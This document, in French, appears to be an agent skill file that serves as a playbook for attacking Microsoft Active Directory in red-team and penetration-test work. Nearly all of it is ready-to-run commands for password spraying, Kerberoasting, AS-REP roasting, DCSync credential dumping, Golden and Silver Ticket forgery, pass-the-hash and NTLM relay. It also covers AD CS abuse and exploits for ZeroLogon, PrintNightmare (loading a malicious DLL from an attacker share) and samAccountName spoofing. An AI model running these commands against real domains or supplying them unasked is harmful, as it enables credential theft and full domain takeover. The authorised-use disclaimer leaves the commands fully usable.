UTILISATION AUTORISÉE UNIQUEMENT : Utilisez cette compétence uniquement pour des évaluations de sécurité autorisées, des validations défensives ou des environnements éducatifs contrôlés.
Attaques Active Directory
Objectif
Fournir des techniques complètes pour attaquer les environnements Microsoft Active Directory. Couvre la reconnaissance, la récolte d'identifiants, les attaques Kerberos, le mouvement latéral, l'élévation de privilèges et la domination du domaine pour les opérations d'équipe rouge et les tests de pénétration.
Entrées/Prérequis
- Plateforme d'attaque Kali Linux ou Windows
- Identifiants d'utilisateur de domaine (pour la plupart des attaques)
- Accès réseau au contrôleur de domaine
- Outils : Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
Sorties/Livrables
- Données d'énumération du domaine
- Identifiants et hachages extraits
- Tickets Kerberos pour l'usurpation d'identité
- Accès administrateur de domaine
- Mécanismes d'accès persistants
Outils Essentiels
| Outil | Objectif |
|---|---|
| BloodHound | Visualisation des chemins d'attaque AD |
| Impacket | Outils d'attaque AD en Python |
| Mimikatz | Extraction d'identifiants |
| Rubeus | Attaques Kerberos |
| CrackMapExec | Exploitation réseau |
| PowerView | Énumération AD |
| Responder | Empoisonnement LLMNR/NBT-NS |
Flux de travail principal
Étape 1 : Synchronisation d'horloge Kerberos
Kerberos nécessite une synchronisation d'horloge (±5 minutes) :
# Détecter le décalage d'horloge
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Corriger l'horloge sur Linux
sudo date -s "14 AVR 2024 18:25:16"
# Corriger l'horloge sur Windows
net time /domain /set
# Fausser l'horloge sans changer l'heure système
faketime -f '+8h' <commande>
Étape 2 : Reconnaissance AD avec BloodHound
# Démarrer BloodHound
neo4j console
bloodhound --no-sandbox
# Collecter des données avec SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Collecteur Python (depuis Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
Étape 3 : Énumération PowerView
# Obtenir les informations du domaine
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Énumérer les utilisateurs
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Énumérer les groupes
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Trouver l'accès administrateur local
Find-LocalAdminAccess -Verbose
# Recherche d'utilisateurs
Invoke-UserHunter
Invoke-UserHunter -Stealth
Attaques d'identifiants
Pulvérisation de mots de passe
# Avec kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Avec CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
Extraire les tickets TGS des comptes de service et les casser hors ligne :
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Casser avec hashcat
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
Cibler les comptes avec "Ne pas exiger la pré-authentification Kerberos" :
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Casser avec hashcat
hashcat -m 18200 hashes.txt rockyou.txt
Attaque DCSync
Extraire les identifiants directement du contrôleur de domaine (nécessite les droits Répliquer les modifications de l'annuaire) :
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Attaques de tickets Kerberos
Pass-the-Ticket (Golden Ticket)
Forger un TGT avec le hachage krbtgt pour n'importe quel utilisateur :
# Obtenir le hachage krbtgt via DCSync d'abord
# Mimikatz - Créer un Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
Silver Ticket
Forger un TGS pour un service spécifique :
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
Convertir un hachage NTLM en ticket Kerberos :
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
Attaques par relais NTLM
Responder + ntlmrelayx
# Démarrer Responder (désactiver SMB/HTTP pour le relais)
responder -I eth0 -wrf
# Démarrer le relais
ntlmrelayx.py -tf targets.txt -smb2support
# Relais LDAP pour attaque de délégation
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
Vérification de la signature SMB
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
Attaques des services de certificats (AD CS)
ESC1 - Modèles mal configurés
# Trouver les modèles vulnérables
certipy find -u [email protected] -p password -dc-ip 10.10.10.10
# Exploiter ESC1
certipy req -u [email protected] -p password -ca NOM-CA -target dc.domain.local -template ModeleVulnerable -upn [email protected]
# S'authentifier avec le certificat
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Relais d'inscription Web
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
CVE critiques
ZeroLogon (CVE-2020-1472)
# Vérifier la vulnérabilité
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Exploiter
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Extraire les hachages
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# Restaurer le mot de passe (important !)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass MOTDEPASSEHEX
PrintNightmare (CVE-2021-1675)
# Vérifier la vulnérabilité
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Exploiter (nécessite l'hébergement d'une DLL malveillante)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attaquant\partage\evil.dll'
Usurpation de samAccountName (CVE-2021-42278/42287)
# Exploitation automatisée
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
Référence rapide
| Attaque | Outil | Commande |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| Pulvérisation | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
Contraintes
Doit :
- Synchroniser l'heure avec le contrôleur de domaine avant les attaques Kerberos
- Avoir des identifiants de domaine valides pour la plupart des attaques
- Documenter tous les comptes compromis
Ne doit pas :
- Verrouiller les comptes par une pulvérisation excessive de mots de passe
- Modifier les objets AD de production sans approbation
- Laisser des Golden Tickets sans documentation
Devrait :
- Exécuter BloodHound pour la découverte des chemins d'attaque
- Vérifier la signature SMB avant les attaques par relais
- Vérifier les niveaux de correctifs pour l'exploitation des CVE
Exemples
Exemple 1 : Compromission de domaine via Kerberoasting
# 1. Trouver les comptes de service avec des SPN
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Demander des tickets TGS
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Casser les tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Utiliser le compte de service cassé
psexec.py domain.local/svc_admin:[email protected]
Exemple 2 : Relais NTLM vers LDAP
# 1. Démarrer le relais ciblant LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Déclencher l'authentification (par ex., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Utiliser le compte machine créé pour l'attaque RBCD
Dépannage
| Problème | Solution |
|---|---|
| Décalage d'horloge trop important | Synchroniser l'heure avec le contrôleur de domaine ou utiliser faketime |
| Kerberoasting renvoie vide | Aucun compte de service avec des SPN |
| Accès DCSync refusé | Nécessite les droits Répliquer les modifications de l'annuaire |
| Relais NTLM échoue | Vérifier la signature SMB, essayer la cible LDAP |
| BloodHound vide | Vérifier que le collecteur a été exécuté avec les bons identifiants |
Ressources supplémentaires
Pour les techniques avancées incluant les attaques par délégation, l'abus de GPO, les attaques RODC, le déploiement SCCM/WSUS, l'exploitation ADCS, les relations d'approbation et l'intégration Linux AD, voir references/advanced-attacks.md.
Quand utiliser
Cette compétence est applicable pour exécuter le flux de travail ou les actions décrits dans l'aperçu.